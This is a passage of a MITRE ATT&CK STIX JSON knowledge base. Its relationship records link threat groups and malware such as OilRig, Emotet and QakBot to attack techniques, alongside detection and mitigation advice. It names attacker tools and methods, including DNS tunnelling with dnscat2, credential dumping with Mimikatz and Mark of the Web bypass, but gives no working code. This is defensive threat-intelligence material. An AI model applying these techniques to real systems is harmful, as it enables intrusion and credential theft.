Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:09:38.906Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used DNS tunnelling tools, such as dnscat/2 and Iodine, for C2 purposes.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a024097d-78f0-4439-a239-571d361335f5","type":"relationship","created":"2020-06-12T16:15:04.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.493Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can use [UACMe](https://attack.mitre.org/software/S0116) for privilege escalation.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a025d011-6e46-4d3a-a9f7-31324027b7cf","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","source_name":"Unit 42 OopsIE! Feb 2018"},{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","source_name":"Unit 42 QUADAGENT July 2018"},{"description":"Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/","source_name":"Crowdstrike Helix Kitten Nov 2018"}],"modified":"2019-09-04T22:55:41.305Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a02da835-676d-47df-86c6-547a7d29dbae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0321bbd-edab-4ee6-be37-979015511e4a","created":"2019-03-25T19:31:02.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"emotet_hc3_nov2023","description":"Office of Information Security, Health Sector Cybersecurity Coordination Center. (2023, November 16). Emotet Malware: The Enduring and Persistent Threat to the Health Sector. Retrieved June 19, 2024.","url":"https://www.hhs.gov/sites/default/files/emotet-the-enduring-and-persistent-threat-to-the-hph-tlpclear.pdf"},{"source_name":"Trend Micro Emotet Jan 2019","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T14:22:08.995Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed dropping and executing password grabber modules including [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Trend Micro Emotet Jan 2019)(Citation: emotet_hc3_nov2023)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a036174e-7bd3-4604-ba4c-c26cceb5fe67","created":"2021-11-29T19:46:09.913Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-11T14:21:09.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a03c46d1-763a-40e8-952b-36b27be11dda","created":"2023-04-05T15:37:59.309Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:37:59.309Z","description":"[metaMain](https://attack.mitre.org/software/S1059) has delayed execution for five to six minutes during its persistence establishment process.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a03d084b-c216-4962-93e8-6c0dc8f0cb91","type":"relationship","created":"2019-01-30T16:39:54.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.723Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can act as a reverse proxy.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a03f53c2-4445-4ca5-ab2a-624afcbb9ea4","type":"relationship","created":"2020-06-16T18:44:16.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-16T18:44:16.269Z","relationship_type":"revoked-by","source_ref":"attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c","target_ref":"attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a043c97b-dde1-4f0b-8a8c-78f62784b1e1","created":"2023-03-17T14:43:54.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T19:59:33.593Z","description":"Consider reviewing command history in either host machines or cloud audit logs to determine if unauthorized or suspicious commands were executed.\n\nCloud API activity logging is typically enabled by default and may be reviewed in sources like the Microsoft Unified Audit Log, AWS CloudTrail, and GCP Admin Activty logs. Review these sources for history of executed API commands. Host logs may also be reviewed to capture CLI commands or PowerShell module usage to invoke Cloud API functions.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a04579db-cc93-4f62-88f1-c2cdc220ab70","type":"relationship","created":"2020-01-10T16:01:16.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T19:04:02.466Z","description":"Restrict write access to logon scripts to specific administrators.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0493e99-06ba-4f40-9aae-6f7f9bad6caa","type":"relationship","created":"2020-03-17T19:14:38.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.","url":"https://blog.morphisec.com/cobalt-gang-2.0","source_name":"Morphisec Cobalt Gang Oct 2018"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"PTSecurity Cobalt Group Aug 2017","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"},{"source_name":"Group IB Cobalt Aug 2017","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","url":"https://www.group-ib.com/blog/cobalt"},{"description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.","url":"https://blog.morphisec.com/cobalt-gang-2.0","source_name":"Morphisec Cobalt Gang Oct 2018"},{"description":"Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/","source_name":"Unit 42 Cobalt Gang Oct 2018"},{"source_name":"TrendMicro Cobalt Group Nov 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/","description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019."}],"modified":"2020-03-20T15:40:43.374Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands.(Citation: Morphisec Cobalt Gang Oct 2018) The group has used an exploit toolkit known as Threadkit that launches .bat files.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a04db303-7ae6-4ecd-a397-f3e964bd6e3c","created":"2019-04-17T13:46:38.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.416Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses WMIC to execute payloads. (Citation: Cofense Astaroth Sept 2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0500766-a6ba-4672-b7fc-2a712cd0cfca","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"OilRig New Delivery Oct 2017","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"}],"modified":"2020-03-28T21:35:37.230Z","description":"[ISMInjector](https://attack.mitre.org/software/S0189) is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.(Citation: OilRig New Delivery Oct 2017)","relationship_type":"uses","source_ref":"malware--5be33fef-39c0-4532-84ee-bea31e1b5324","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a05709f5-d61c-40cf-8fdc-d821eafce194","created":"2023-03-26T20:24:10.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T16:03:26.181Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) registered devices in order to enable mailbox syncing via the `Set-CASMailbox` command.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a05a823c-de82-43ec-b235-4f09e0527811","created":"2023-02-13T21:31:02.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-13T21:31:42.419Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has been packaged in ISO files in order to bypass Mark of the Web (MOTW) security measures.(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a05c887d-9f4b-490c-843e-e6f98641fe77","type":"relationship","created":"2019-07-09T17:54:21.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"},{"source_name":"Securelist LuckyMouse June 2018","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","url":"https://securelist.com/luckymouse-hits-national-data-center/86083/"},{"source_name":"Hacker News LuckyMouse June 2018","description":"Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.","url":"https://thehackernews.com/2018/06/chinese-watering-hole-attack.html"},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T18:28:49.990Z","description":"(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a05c9888-4d88-4487-8e48-b0509de3fb50","created":"2024-09-17T20:31:35.445Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T20:31:35.445Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) has used a two-tiered C2 configuration with tier one nodes connecting to the victim and tier two nodes connecting to backend infrastructure.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a06533f5-02f9-4246-9315-0fa8df3465e0","created":"2022-06-09T14:49:12.512Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) has used TCP port 5633 for C2 Communication.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T14:49:12.512Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a06ada98-605a-47c5-9362-41e86c2ada6e","type":"relationship","created":"2019-04-10T16:09:07.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:32.333Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has downloaded additional files and programs from its C2 server.(Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)\t\n","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a","type":"relationship","created":"2017-05-31T21:33:27.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.814Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.(Citation: DustySky)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a06be524-5fe0-4500-9216-6924b5d27f59","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:52:25.648Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Monitor for cloud storages for data exfiltration. \n","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a06f76b9-1920-4660-a2f3-cc0db8d585c0","created":"2023-02-14T18:32:32.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:49:34.552Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can make `Ping` GET HTTP requests to its C2 server at regular intervals for network connectivity checks.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a07479cc-5103-4c3d-bd91-9b229be7a391","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-11T20:47:46.064Z","description":"Monitor for contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.\n\nOn Windows, Event ID 4698 (Security Log - A scheduled task was created) can be used to alert on the creation of scheduled tasks and provides metadata including the task name and task content (as XML).\n\nOn Linux, auditing frameworks such as the Linux Auditing System (auditd) can be used to alert on invocations of cron, and provides the metadata included when executing the command. 